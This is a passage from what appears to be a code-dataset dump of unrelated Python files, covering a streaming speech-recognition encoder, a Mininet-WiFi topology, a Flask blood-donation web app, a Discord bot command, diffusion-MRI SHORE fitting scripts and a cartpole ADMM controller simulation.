None, :]).to(xs_pad.device)\n        # Emask_ = Emask\n        if self.decoding:\n            if self.simulate_streaming:\n                xs_pad, masks = self.forward_chunk_by_chunk(xs_pad, self.decoding_chunk_length,-1)\n                olens = masks.squeeze(1).sum(1)\n                olens = torch.ones(masks.squeeze(1).size(), dtype=olens.dtype, device=olens.device).sum(1)\n                return xs_pad, olens, None\n        xs_pad, pos_emb, masks = self.embed(xs_pad, masks)\n        chunk_masks = add_optional_chunk_mask(xs_pad, masks,\n                                              self.use_dynamic_chunk,\n                                              self.use_dynamic_left_chunk,\n                                              0,\n                                              self.static_chunk_size,\n                                              -1)\n       \n        # pdb.set_trace()\n        for layer in self.encoders:\n            xs_pad, chunk_masks, _ = layer(xs_pad, chunk_masks, pos_emb, masks)\n       \n        if self.normalize_before:\n            xs_pad = self.after_norm(xs_pad)\n\n        olens = masks.squeeze(1).sum(1)\n        \n        return xs_pad, olens, None\n\n    def forward_chunk(\n        self,\n        xs: torch.Tensor,\n        offset: int,\n        required_cache_size: int,\n        subsampling_cache: Optional[torch.Tensor] = None,\n        elayers_output_cache: Optional[List[torch.Tensor]] = None,\n        conformer_cnn_cache: Optional[List[torch.Tensor]] = None,\n    ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor, List[torch.Tensor],\n               List[torch.Tensor]]:\n        \"\"\" Forward just one chunk\n        Args:\n            xs (torch.Tensor): chunk input\n            offset (int): current offset in encoder output time stamp\n            required_cache_size (int): cache size required for next chunk\n                compuation\n                >=0: actual cache size\n                <0: means all history cache is required\n            subsampling_cache (Optional[torch.Tensor]): subsampling cache\n            elayers_output_cache (Optional[List[torch.Tensor]]):\n                transformer/conformer encoder layers output cache\n            conformer_cnn_cache (Optional[List[torch.Tensor]]): conformer\n                cnn cache\n        Returns:\n            torch.Tensor: output of current input xs\n            torch.Tensor: subsampling cache required for next chunk computation\n            List[torch.Tensor]: encoder layers output cache required for next\n                chunk computation\n            List[torch.Tensor]: conformer cnn cache\n        \"\"\"\n        assert xs.size(0) == 1\n        # tmp_masks is just for interface compatibility\n        tmp_masks = torch.ones(1,\n                               xs.size(1),\n                               device=xs.device,\n                               dtype=torch.bool)\n        tmp_masks = tmp_masks.unsqueeze(1)\n        xs, pos, _ = self.embed(xs, tmp_masks, offset)\n        if subsampling_cache is not None:\n            cache_size = subsampling_cache.size(1)\n            xs = torch.cat((subsampling_cache, xs), dim=1)\n        else:\n            cache_size = 0\n        pos_emb = self.embed.position_encoding(offset - cache_size, xs.size(1))\n        if required_cache_size < 0:\n            next_cache_start = 0\n        elif required_cache_size == 0:\n            next_cache_start = xs.size(1)\n        else:\n            next_cache_start = max(xs.size(1) - required_cache_size, 0)\n        r_subsampling_cache = xs[:, next_cache_start:, :]\n        # Real mask for transformer/conformer layers\n        masks = torch.ones(1, xs.size(1), device=xs.device, dtype=torch.bool)\n        masks = masks.unsqueeze(1)\n        r_elayers_output_cache = []\n        r_conformer_cnn_cache = []\n        for i, layer in enumerate(self.encoders):\n            if elayers_output_cache is None:\n                attn_cache = None\n            else:\n                attn_cache = elayers_output_cache[i]\n            if conformer_cnn_cache is None:\n                cnn_cache = None\n            else:\n                cnn_cache = conformer_cnn_cache[i]\n            xs, _, new_cnn_cache = layer(xs,\n                                         masks,\n                                         pos_emb,\n                                         cache=attn_cache,\n                                         cnn_cache=cnn_cache)\n            r_elayers_output_cache.append(xs[:, next_cache_start:, :])\n            r_conformer_cnn_cache.append(new_cnn_cache)\n\n        if self.normalize_before:\n                xs = self.after_norm(xs)\n\n        return (xs[:, cache_size:, :], r_subsampling_cache,\n                r_elayers_output_cache, r_conformer_cnn_cache)\n    def forward_chunk_by_chunk(\n        self,\n        xs: torch.Tensor,\n        decoding_chunk_length: int,\n        num_decoding_left_chunks: int = -1,\n        #num_decoding_right_chunks: int = 0,\n    ) -> Tuple[torch.Tensor, torch.Tensor]:\n        \"\"\" Forward input chunk by chunk with chunk_size like a streaming\n            fashion\n        Here we should pay special attention to computation cache in the\n        streaming style forward chunk by chunk. Three things should be taken\n        into account for computation in the current network:\n            1. transformer/conformer encoder layers output cache\n            2. convolution in conformer\n            3. convolution in subsampling\n        However, we don't implement subsampling cache for:\n            1. We can control subsampling module to output the right result by\n               overlapping input instead of cache left context, even though it\n               wastes some computation, but subsampling only takes a very\n               small fraction of computation in the whole model.\n            2. Typically, there are several covolution layers with subsampling\n               in subsampling module, it is tricky and complicated to do cache\n               with different convolution layers with different subsampling\n               rate.\n            3. Currently, nn.Sequential is used to stack all the convolution\n               layers in subsampling, we need to rewrite it to make it work\n               with cache, which is not prefered.\n        Args:\n            xs (torch.Tensor): (1, max_len, dim)\n            chunk_size (int): decoding chunk size\n        \"\"\"\n        assert decoding_chunk_length > 0\n        # The model is trained by static or dynamic chunk\n        #assert self.static_chunk_size > 0 or self.use_dynamic_chunk\n        subsampling = self.embed.subsampling_rate\n        context = self.embed.right_context + 1  # Add current frame\n        stride = subsampling * decoding_chunk_length\n        decoding_window = (decoding_chunk_length - 1) * subsampling + context\n        bs, num_frames, idim = xs.shape\n        subsampling_cache: Optional[torch.Tensor] = None\n        elayers_output_cache: Optional[List[torch.Tensor]] = None\n        conformer_cnn_cache: Optional[List[torch.Tensor]] = None\n        outputs = []\n        offset = 0\n        required_cache_size = decoding_chunk_length * num_decoding_left_chunks\n\n        # Feed forward overlap input step by step\n        for cur in range(0, num_frames - context + 1, stride):\n            end = min(cur + decoding_window, num_frames)\n            chunk_xs = xs[:, cur:end, :]\n\n            (y, subsampling_cache, elayers_output_cache,\n             conformer_cnn_cache) = self.forward_chunk(chunk_xs, offset,\n                                                       required_cache_size,\n                                                       subsampling_cache,\n                                                       elayers_output_cache,\n                                                       conformer_cnn_cache)\n            outputs.append(y)\n            offset += y.size(1)\n        ys = torch.cat(outputs, 1)\n        masks = torch.ones(1, ys.size(1), device=ys.device, dtype=torch.bool)\n        masks = masks.unsqueeze(1)\n        return ys, masks\n\n","sub_path":"espnet-zbh-T-T-distributed/espnet2/asr/encoder/conformer_streaming_encoder_dynamic_u2.py","file_name":"conformer_streaming_encoder_dynamic_u2.py","file_ext":"py","file_size_in_byte":15650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"62794138","text":"#!/usr/bin/python\n\n'This example shows how to create wireless link between two APs'\nfrom mininet.node import Controller\nfrom mininet.log import setLogLevel, info\nfrom mn_wifi.link import wmediumd, mesh, ITSLink\nfrom mn_wifi.cli import CLI_wifi\nfrom mn_wifi.net import Mininet_wifi\nfrom mn_wifi.wmediumdConnector import interference\n\n\ndef topology():\n    \"Create a network.\"\n    net = Mininet_wifi(controller=Controller, link=wmediumd,\n                       wmediumd_mode=interference)\n\n    info(\"*** Creating nodes\\n\")\n    sta1 = net.addStation('sta1', mac='00:00:00:00:00:01', IP='10.0.0.1/8', position='10,80,0')\n    sta2 = net.addStation('sta2', mac='00:00:00:00:00:02', IP='10.0.0.2/8', position='20,80,0')\n    sta3 = net.addStation('sta3', mac='00:00:00:00:00:03', IP='10.0.0.3/8', position='30,80,0')\n    ap1 = net.addAccessPoint('ap1', wlans=2, ssid='ssid1,,,', position='20,100,0')\n\n    sta4 = net.addStation('sta4', wlans=3, mac='00:00:00:00:00:04', IP='10.0.0.4/8', position='50,80,0')\n    sta5 = net.addStation('sta5', wlans=2, mac='00:00:00:00:00:05', IP='10.0.0.5/8', position='40,65,0')\n    sta6 = net.addStation('sta6', wlans=2, mac='00:00:00:00:00:06', IP='10.0.0.6/8', position='50,50,0')\n    sta7 = net.addStation('sta7', wlans=2, mac='00:00:00:00:00:07', IP='10.0.0.7/8', position='60,65,0')\n    ap2 = net.addAccessPoint('ap2', wlans=2, ssid='ssid2,', position='50,90,0')\n\n    sta8 = net.addStation('sta8', mac='00:00:00:00:00:08', IP='10.0.0.8/8', position='25,40,0')\n    sta9 = net.addStation('sta9', wlans=3, mac='00:00:00:00:00:09', IP='10.0.0.9/8', position='35,40,0')\n    sta10 = net.addStation('sta10', mac='00:00:00:00:00:10', IP='10.0.0.10/8', position='30,30,0')\n    sta11 = net.addStation('sta11', mac='00:00:00:00:00:11', IP='10.0.0.11/8', position='40,30,0')\n    ap3 = net.addAccessPoint('ap3', wlans=2, ssid='ssid3,', position='30,50,0')\n\n\n    c0 = net.addController('c0')\n\n    info(\"*** Configuring wifi nodes\\n\")\n    net.configureWifiNodes()\n\n    info(\"*** Associating Stations\\n\")\n    net.addLink(sta1, ap1)\n    net.addLink(sta2, ap1)\n    net.addLink(sta3, ap1)\n\n    net.addLink(sta4, ap2)\n    net.addLink(sta4, channel=10, cls=ITSLink)\n    net.addLink(sta4, channel=25, cls=ITSLink)\n    net.addLink(sta5, channel=10, cls=ITSLink)\n    net.addLink(sta5, channel=15, cls=ITSLink)\n    net.addLink(sta6, channel=15, cls=ITSLink)\n    net.addLink(sta6, channel=20, cls=ITSLink)\n    net.addLink(sta7, channel=20, cls=ITSLink)\n    net.addLink(sta7, channel=25, cls=ITSLink)\n\n    net.addLink(sta8, ap3)\n    net.addLink(sta9, ap3)\n    net.addLink(sta9, channel=30, cls=ITSLink)\n    net.addLink(sta10, channel=30, cls=ITSLink)\n    net.addLink(sta9, channel=35, cls=ITSLink)\n    net.addLink(sta11, channel=35, cls=ITSLink)\n\n    net.addLink(ap1, intf='ap1-wlan2', cls=mesh, ssid='mesh-ssid', channel=5)\n    net.addLink(ap2, intf='ap2-wlan2', cls=mesh, ssid='mesh-ssid', channel=5)\n    net.addLink(ap3, intf='ap3-wlan2', cls=mesh, ssid='mesh-ssid', channel=5)\n\n    net.plotGraph(max_x=110, max_y=110)\n\n    info(\"*** Starting network\\n\")\n    net.build()\n    c0.start()\n    ap1.start([c0])\n    ap2.start([c0])\n    ap3.start([c0])\n\n    info(\"*** Running CLI\\n\")\n    CLI_wifi(net)\n\n    info(\"*** Stopping network\\n\")\n    net.stop()\n\n\nif __name__ == '__main__':\n    setLogLevel('info')\n    topology()\n","sub_path":"topo_tfg.py","file_name":"topo_tfg.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"524083037","text":"import numpy as np\n\nfrom solution import *\n\nbanknote = np.genfromtxt(\"data_banknote_authentication.txt\", delimiter=\",\")\n\n\n# q1 = Q1()\n# print(q1.feature_means(banknote))\n\n\ntrain, test, validation = split_dataset(banknote)\n# hp = HardParzen(0.1)\n# hp.train(train[:, 0:4], train[:, 4])\n# print(hp.compute_predictions(test[:, 0:4]))\n\ner = ErrorRate(train[:, 0:4], train[:, 4], validation[:, 0:4], validation[:, 4])\nprint(er.soft_parzen(0.4))\nprint(get_test_errors(banknote))\n","sub_path":"HW1/Practical/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"191454264","text":"import numpy as np\n\n\ndef tokenize(text, lowercase=True):\n    if lowercase:\n        text = text.lower()\n    return text.split()\n\n\ndef vectorize(text, word2idx, max_length):\n    \"\"\"\n    Covert array of tokens, to array of ids, with a fixed length\n    and zero padding at the end\n    Args:\n        text (): the wordlist\n        word2idx (): dictionary of word to ids\n        max_length (): the maximum length of the input sequences\n\n    Returns: zero-padded list of ids\n\n    \"\"\"\n    words = np.zeros(max_length, dtype=np.uint32)\n    for i, w in enumerate(text):\n        if text in word2idx:\n            words[i] = word2idx[w]\n        else:\n            words[i] = word2idx['<unk>']\n    return words\n\n","sub_path":"utils/nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"225996833","text":"from flask import render_template, request, session, escape, url_for, redirect, flash, g, jsonify, send_from_directory, abort\nimport os\nfrom app import db, app, allowed_file, PROFILE_PICS\nfrom app.schemas.User import User\nfrom app.schemas.Donation import Donation\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom werkzeug.utils import secure_filename\nfrom requests import get\nfrom datetime import datetime\nimport unirest\nimport json\nfrom flask_mail import Mail\nfrom flask_mail import Message\n\n\nfrom pathlib import Path\n\n#creates the mail object for sending emails\nmail = Mail()\nmail.init_app(app)\n@app.before_request\ndef before_request():\n    #verifica que haya un usuario logueado\n    if \"id\" in session:\n        #asigna el valor del username de la sesion a la variable user del objeto global de Flask\n        g.user = session[\"id\"]\n    #de lo contrario asigna nulo el g.user\n    else:\n        g.user = None\n\n\n@app.route(\"/\")\ndef index():\n    # si hay alguien logueado\n    if g.user:\n        user = User.query.filter_by(id=g.user).first()\n        #donaciones hechas por el usuario para mostrarse en la tabla\n        donations = Donation.query.filter_by(donorId = g.user)\n        return render_template(\"selfprofile.html\",user=user, donations=donations)\n    else:\n        return render_template(\"index.html\")\n\n#opens a text file with the \"About us\" info and sends it to a html template\n@app.route(\"/about\")\ndef about():\n    f = open(\"app/static/files/about.txt\", \"r\")\n    file = f.read().split(\"</p>\")\n    f.close()\n    return render_template(\"about.html\", file=file)\n\n# log outs the user. Sets the global variable user to none.\n@app.route(\"/logout\")\ndef logout():\n    session.pop(\"id\",None)\n    g.user = None\n    return redirect(url_for(\"login\"))\n\n#Login\n@app.route(\"/login\", methods=[\"GET\",\"POST\"])\ndef login():\n    if request.method == \"POST\":\n        user = User.query.filter_by(email = request.form[\"email\"]).first()\n        mensaje = \"*Usuario o contrasena incorecto*\"\n        # if the user exists and the password matches the one stored on the database\n        if user and check_password_hash(user.password, request.form[\"password\"]):\n            session[\"id\"] = user.id\n            return redirect(\"/\")\n        #renders the login template if no one is logged\n        else:\n            return render_template(\"login.html\", mensaje=mensaje)\n    #if the user is not logged, renders the login site\n    else:\n        return render_template(\"login.html\")\n\n#register\n@app.route(\"/register\", methods=[\"GET\",\"POST\"])\ndef register():\n    if request.method == \"POST\":\n        #criptea la contrasena\n        hashedPassword = generate_password_hash(request.form[\"password\"], method=\"sha256\")\n        #if the user selected kg as unit measure, converts it to pounds\n        if(request.form[\"unidadPeso\"] == \"kg\"):\n            peso = int(request.form[\"peso\"]) * 2.20\n        else:\n            peso = int(request.form[\"peso\"])\n        #new user object from the User class\n        newUser = User(name=request.form[\"nombre\"], lastName=request.form[\"apellido\"], sex=request.form[\"sexo\"],\n        birthDay = int(request.form[\"birthDay\"]), birthMonth = int(request.form[\"birthMonth\"]), birthYear = int(request.form[\"birthYear\"]),\n        weigth = peso, bloodType = request.form[\"tipoSangre\"], city=request.form[\"ciudad\"].split(\",\")[1], region = request.form[\"provincia\"].split(\",\")[1], country=request.form[\"pais\"].split(\",\")[1],\n        street = request.form[\"calle\"], password=hashedPassword, email = request.form[\"email\"], registrationDate = datetime.now())\n        #adds to the database\n        db.session.add(newUser)\n        db.session.commit()\n\n        #sends email to new user\n        f = open(\"app/static/files/welcomeEmail.txt\", \"r\")\n        message = f.read().replace(\"user\", newUser.name)\n        f.close()\n        msg = Message(\"Welcome to Donnacion.\",\n                      sender=\"donaccion01@gmail.com\",\n                      recipients=[newUser.email])\n        msg.body = message\n        mail.send(msg)\n        return redirect(\"/\")\n    else:\n        #array de meses para el form\n        meses = [\"Enero\",\"Febrero\",\"Marzo\",\"Abril\",\"Mayo\",\"Junio\",\"Julio\",\"Agosto\",'Septiembre',\"Octubre\",\"Noviembre\",\"Diciembre\"]\n        tiposSangre = [\"A+\",\"A-\",\"B+\",\"B-\",\"AB+\",\"AB-\",\"O+\",\"O-\"]\n        #request al API para obtener todos los paises\n        paisesR = get(\"https://ezcmd.com/apps/api_ezhigh/get_countries/73d6b15cf8b6e556775a0771d67f05fa/406\").json()\n        paises = []\n        for key,value in sorted(paisesR.iteritems()):\n            #the API returns a json where each element but 2 represents a country. The 2 other ones contain information about the request.\n            #with this conditional we avoid sending those elements to the form\n            if key != \"success\" and key != \"remaining_lookups\":\n                paises.append({\"country_code\": value[\"country_code\"], \"country_name\": value[\"country_name\"]})\n\n        provincias = []\n        return render_template(\"register.html\", meses=meses, tiposSangre=tiposSangre,paises=paises,provincias=provincias)\n\n#modifies an user's profile picture\n@app.route(\"/modify\", methods=[\"GET\",\"POST\"])\ndef modify():\n    if request.method == \"POST\":\n        #gets the new pic\n        pic = request.files[\"profilePic\"]\n        user = User.query.filter_by(id=g.user).first()\n        #saves the new picture to the picture folder. PRROFILE_PICS is a variable set on the configuration file with the path where images must be saved\n        pic.save(os.path.join(PROFILE_PICS, secure_filename(pic.filename)))\n        #sets the path to the new path\n        user.profilePic = pic.filename\n        db.session.commit()\n        return redirect(url_for(\"index\"))\n    else:\n        return render_template(\"modify.html\")\n\n#Register a donation made outside the app\n@app.route(\"/donate\", methods = [\"GET\",\"POST\"])\ndef donate():\n    if request.method == \"GET\":\n        #List of months to be showed in the form\n        meses = [\"Enero\",\"Febrero\",\"Marzo\",\"Abril\",\"Mayo\",\"Junio\",\"Julio\",\"Agosto\",'Septiembre',\"Octubre\",\"Noviembre\",\"Diciembre\"]\n\n        return render_template(\"donationregistration.html\",meses=meses)\n    else:\n        user = User.query.filter_by(id = g.user).first()\n        #Adds the donation info to the Donation table\n        fechaDonacion = request.form[\"year\"]+\"-\"+request.form[\"day\"]+\"-\"+request.form[\"month\"]\n        newDonation = Donation(donorId = g.user, donationDate = datetime.strptime(fechaDonacion, '%Y-%m-%d'), bloodType = user.bloodType)\n        db.session.add(newDonation)\n        db.session.commit()\n        return redirect(url_for(\"index\"))\n\n#finds on the database depending on filter\n@app.route(\"/finddonor/<string:filter>\")\ndef findDonor(filter):\n    #user logged in\n    currentUser = User.query.filter_by(id = g.user).first()\n    #Users with same blood type, regardless of the location\n    if filter == \"blood\":\n        users = User.query.filter_by(bloodType = User.query.filter_by(id=g.user).first().bloodType)\n        filtro = \"Tipo de sangre-Global\"\n        return render_template(\"results.html\", users = users, currentUser=currentUser, filtro=filtro)\n    #users within the same country\n    elif filter == \"pais\":\n        users = User.query.filter_by(country = User.query.filter_by(id=g.user).first().country)\n        filtro = \"Pais\"\n        return render_template(\"results.html\", users = users, currentUser=currentUser, filtro=filtro)\n    #users on same region\n    elif filter == \"provincia\":\n        users = User.query.filter_by(region = User.query.filter_by(id=g.user).first().region)\n        filtro = \"Provincia/Estado\"\n        return render_template(\"results.html\", users = users, currentUser=currentUser, filtro = filtro)\n    #users on same city\n    elif filter == \"ciudad\":\n        users = User.query.filter_by(city = User.query.filter_by(id=g.user).first().city)\n        filtro = \"Ciudad\"\n        return render_template(\"results.html\", users = users, currentUser=currentUser, filtro=filtro)\n\n#Renders an user profile according to his id\n@app.route(\"/profile/<int:id>\")\ndef profile(id):\n    user = User.query.filter_by(id=id).first()\n    return render_template(\"profile.html\", user=user)\n\n\n#return all countries\n@app.route(\"/getCountries\")\ndef getCountries():\n    response = unirest.get(\"https://wft-geo-db.p.mashape.com/v1/geo/countries\")\n    return response\n\n#verifies if the email already exists on the database\n@app.route(\"/verifyemail/<string:email>\")\ndef verifyEmail(email):\n    correo = User.query.filter_by(email=email).first()\n\n    if correo:\n        return \"1\"\n    else:\n        return \"-1\"\n\n#sends an email whose content is what the user typed on the app\n@app.route(\"/sendmessage/<int:recipientId>\", methods=[\"GET\",\"POST\"])\ndef sendMessage(recipientId):\n    if request.method == \"POST\":\n        #retrieves the text from the form\n        message = request.form[\"message\"]\n        recipient = User.query.filter_by(id=recipientId).first()\n        sender = User.query.filter_by(id=g.user).first()\n        msg = Message(\"Message from Donnacion\",\n                      sender=\"donaccion01@gmail.com\",\n                      recipients=[recipient.email])\n        #creates the body of the message\n        msg.body = \"You have a new message from \" + sender.name + \" \" + sender.lastName + \", a Donnaccion member.\\n \\n \\n\" + message + \"\\n\\n\\n You can contact him at \" + sender.email\n        mail.send(msg)\n        flash(\"Message sent\")\n        return redirect(url_for(\"index\"))\n    else:\n        user = User.query.filter_by(id=recipientId).first()\n        return render_template(\"sendmessage.html\", user=user)\n\n\n#sends an email to the user being requested donation\n@app.route(\"/askdonation/<int:id>\")\ndef askDonation(id):\n    #user that is asked for donation\n    userAsked = User.query.filter_by(id=id).first()\n    userAsking = User.query.filter_by(id=g.user).first()\n    #opens the email template\n    f = open(\"app/static/files/donateMail.txt\", \"r\")\n    message = f.read().replace(\"user\", userAsked.name).replace(\"askerName\", userAsking.name).replace(\"askerLastName\", userAsking.lastName).replace(\"askerEmail\", userAsking.email)\n    f.close()\n    msg = Message(\"Blood donation request.\",\n                  sender=\"donaccion01@gmail.com\",\n                  recipients=[userAsked.email])\n    msg.body = message\n    mail.send(msg)\n    flash(\"Donation requested\")\n    return redirect(url_for(\"index\"))\n","sub_path":"app/routes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"594462944","text":"from discord.ext import commands\nimport discord\nfrom discord_slash import SlashContext\nfrom discord_slash.cog_ext import cog_slash as slash\nfrom discord_slash.utils.manage_commands import create_option\nfrom utils import command_option_type\nfrom helpers import programmes_helper\nfrom services import offers_service\nimport constants\n\n\nclass OffergraphCommand(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @slash(name='offergraph',\n           description='Show a graph of ranking numbers and the dates when they received offers',\n           options=[\n               create_option(\n                   name='programme_id',\n                   description='Study programme',\n                   option_type=command_option_type.STRING,\n                   required=True,\n                   choices=programmes_helper.get_programme_choices()\n               ),\n               create_option(\n                   name='year',\n                   description='Year of application',\n                   option_type=command_option_type.INTEGER,\n                   required=False,\n                   choices=programmes_helper.get_year_choices()\n               ),\n               create_option(\n                   name='step',\n                   description='Show only step graph',\n                   option_type=command_option_type.BOOLEAN,\n                   required=False\n               )\n           ])\n    async def offergraph(self, ctx: SlashContext, programme_id: str, year: int = None, step: bool = False):\n        if year is None:\n            year = constants.current_year\n\n        # Show \"Bot is thinking\" message\n        await ctx.defer()\n\n        async with (await self.bot.get_db_conn()).acquire() as connection:\n            offers = offers_service.OffersService(connection)\n            await offers.generate_graph(programmes_helper.programmes[programme_id], step, year)\n        image = discord.File(offers_service.filename)\n        await ctx.send(file=image)\n\n\ndef setup(bot):\n    bot.add_cog(OffergraphCommand(bot))\n","sub_path":"commands/offergraph_command.py","file_name":"offergraph_command.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"441238565","text":"import os\nimport numpy as np\nfrom scipy.io import loadmat,savemat\nfrom zeta_minimization import returns_best_zeta, return_shore_coeffs_preds, return_mse_vector_coeffs_preds, return_mse_vector_coeffs_preds_log\nfrom multiple_shore_fits_main_path_calls import call_minimization_shore_on_data_with_basis\n\nfod_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\fod_qspace.mat'\nfod_bval_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\fod_bvals.bval'\nfod_bvec_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\fod_bvecs.bvec'\n\nbase_save_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri'\n#fod_path = os.path.normpath(fod_path)\n#fod_bval_path = os.path.normpath(fod_bval_path)\n#fod_bvec_path = os.path.normpath(fod_bvec_path)\n\nshore_para_dict = {'radial_order':6,'zeta_guess':700.0,'lambdaN':1e-8,'lambdaL':1e-8}\n\nfod_shore_coeff, fod_real_basis = call_minimization_shore_on_data_with_basis(fod_path, fod_bval_path, fod_bvec_path, 'new_q_fod', zeta_flag=1, log_flag=0, shore_para_dict=shore_para_dict)\n\nshore_coeff_path = base_save_path + r'\\fod_shore_single_shell.mat'\nsavemat(shore_coeff_path,mdict={'fod_shore_coeffs':fod_shore_coeff})\n\nshore_basis_path = base_save_path + r'\\fod_shore_single_shell_basis_r6.mat'\nsavemat(shore_basis_path,mdict={'fod_shore_basis':fod_real_basis})\n\nprint('FOD Single Shell Shore Coefficients and Basis Saved')\n\nprint('Create Log Version of the same')\n\nln_fod_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\ln_fod_qspace.mat'\nln_bvals_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\fod_bvals_no_b0.bval'\nln_bvecs_path = r'D:\\Users\\Vishwesh\\PycharmProjects\\shore_mapmri\\fod_bvecs_no_b0.bvec'\n\nln_fod_shore_coeff, fod_log_basis = call_minimization_shore_on_data_with_basis(ln_fod_path, fod_bval_path, fod_bvec_path, 'ln_new_q_fod', zeta_flag=1, log_flag=1, shore_para_dict=shore_para_dict)\n\nlog_shore_coeff_path = base_save_path + r'\\log_fod_shore_single_shell.mat'\nsavemat(log_shore_coeff_path,mdict={'ln_fod_shore_coeffs':ln_fod_shore_coeff})\n\nlog_shore_basis_path = base_save_path + r'\\log_fod_shore_single_shell_basis_r6.mat'\nsavemat(log_shore_basis_path,mdict={'log_fod_shore_basis':fod_log_basis})\n\n\nprint('All Said and done whats going on ?')","sub_path":"masi_shore_code-master/shore_base/python_scripts/single_shell_fod_shore_mse_anal.py","file_name":"single_shell_fod_shore_mse_anal.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"266059667","text":"from QP_function import*\nfrom Projection_function import*\nfrom Projection_function2 import*\nfrom Projection_function3 import*\nfrom lemke_lcp import*\nimport matplotlib.pyplot as plt\nimport numpy, scipy.io\nimport random\n\ntrials = 100\n\nfor pep in range(trials):\n    \n    print(pep)\n    \n    #system_parameters\n    n = 4\n    m = 2\n    k = 1\n    N = 10\n    TOT = N*(n+m+k) + n\n    rho_scale = 2\n    admm_iter = 10\n    rho = 0.1\n    system_iter = 400\n    dt = 0.01\n       \n    g = 9.81\n    mp = 0.411\n    mc = 0.978\n    len_p = 0.6\n    len_com = 0.4267\n    d1 = 0.35\n    d2 = -0.35\n    ks= 50\n    Ts = 0.01\n    A = [[0, 0, 1, 0], [0, 0, 0, 1], [0, g*mp/mc, 0, 0], [0, g*(mc+mp)/(len_com*mc), 0, 0]]\n    A = np.asarray(A)\n    B = [[0],[0],[1/mc],[1/(len_com*mc)]]\n    B = np.asarray(B)\n    D = [[0,0], [0,0], [(-1/mc) + (len_p/(mc*len_com)), (1/mc) - (len_p/(mc*len_com)) ], [(-1 / (mc*len_com) ) + (len_p*(mc+mp)) / (mc*mp*len_com*len_com)  , -((-1 / (mc*len_com) ) + (len_p*(mc+mp)) / (mc*mp*len_com*len_com))    ]]\n    D = np.asarray(D)\n    E = [[-1, len_p, 0, 0], [1, -len_p, 0, 0 ]]\n    E = np.asarray(E)\n    F = 1/ks * np.eye(2)\n    F = np.asarray(F)\n    c = [[d1], [-d2]]\n    c = np.asarray(c)\n    d = np.zeros((4,1))\n    H = np.zeros((2,1))\n    A = np.eye(n) + Ts * A\n    B = Ts*B\n    D = Ts*D\n    d = Ts*d\n    \n    delta = np.zeros((N*(n+k+m) + n,1))\n    omega = np.zeros((N*(n+k+m) + n,1))\n    \n    x0 = [[0.35*random.random() ],[0.01*random.random()],[random.random()],[random.random()]]\n    \n    \n    #x0 = [[0.1],[-0.3],[0],[0]]\n    #x0 = [[-0.3],[0.1],[0],[0]]\n    x0 = np.asarray(x0)\n    \n    t_calc = np.zeros((1,system_iter))\n    \n    \n    x = np.zeros((n, system_iter+1))\n    lam = np.zeros((m, system_iter))\n    x[:, [0]]  = x0\n    \n    for i in range(system_iter):\n        \n        if i % 100 == 0:\n            print(i)\n        \n        delta = 0*np.ones((N*(n+k+m) + n,1))\n        omega = 0*np.ones((N*(n+k+m) + n,1))\n        G = 0.1*np.eye(n+m+k)\n        #u sifirla\n        G[n+m+k-1,n+m+k-1] = 0\n        rho = 0.1\n        \n        \n        #ADMM routine\n        for j in range(admm_iter):\n            #SOLVE THE QP\n            z = QP_function(x[:, [i]] ,delta,omega, N,G)\n            z = np.reshape(z, (np.size(z,0),1))\n            \n            #PROJECTION STEP\n            delta, t_diff = Projection_function(z, delta, omega, N)\n            #delta, t_diff = Projection_function2(z, delta, omega, N, G)\n            #delta, t_diff = Projection_function3(z, delta, omega, N)\n            t_calc[:, [i]] = t_diff\n            \n            #UPDATE STEP\n            omega = omega + z - delta\n            #for cartpole\n            omega[0:4] = np.zeros((n,1))\n            #rho = rho * rho_scale\n            G = G * rho_scale\n            omega = omega / rho_scale\n    \n        u = z[n+m:n+m+k]\n        q = E @ x[:, [i]] + H @ u + c\n        \n        sol_lcp = lemkelcp(F,q)\n        lam[:,[i]] = np.reshape( sol_lcp[0], (m,1))\n        x[:,[i+1]] = A @ x[:, [i]] + D @ lam[:,[i]] + d + B * u\n    \n    time_x = np.arange(0, system_iter * dt + dt, dt)\n    plt.plot(time_x, x.T)\n    plt.show()\n    \n    #print(np.mean(t_calc))\n    #print(np.std(t_calc))\n    \n    #mdic = {\"x\": x , \"t\": time_x}\n    #scipy.io.savemat(\"matlab_matrix.mat\",  mdic)","sub_path":"cartpole/main_multiple_trials.py","file_name":"main_multiple_trials.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
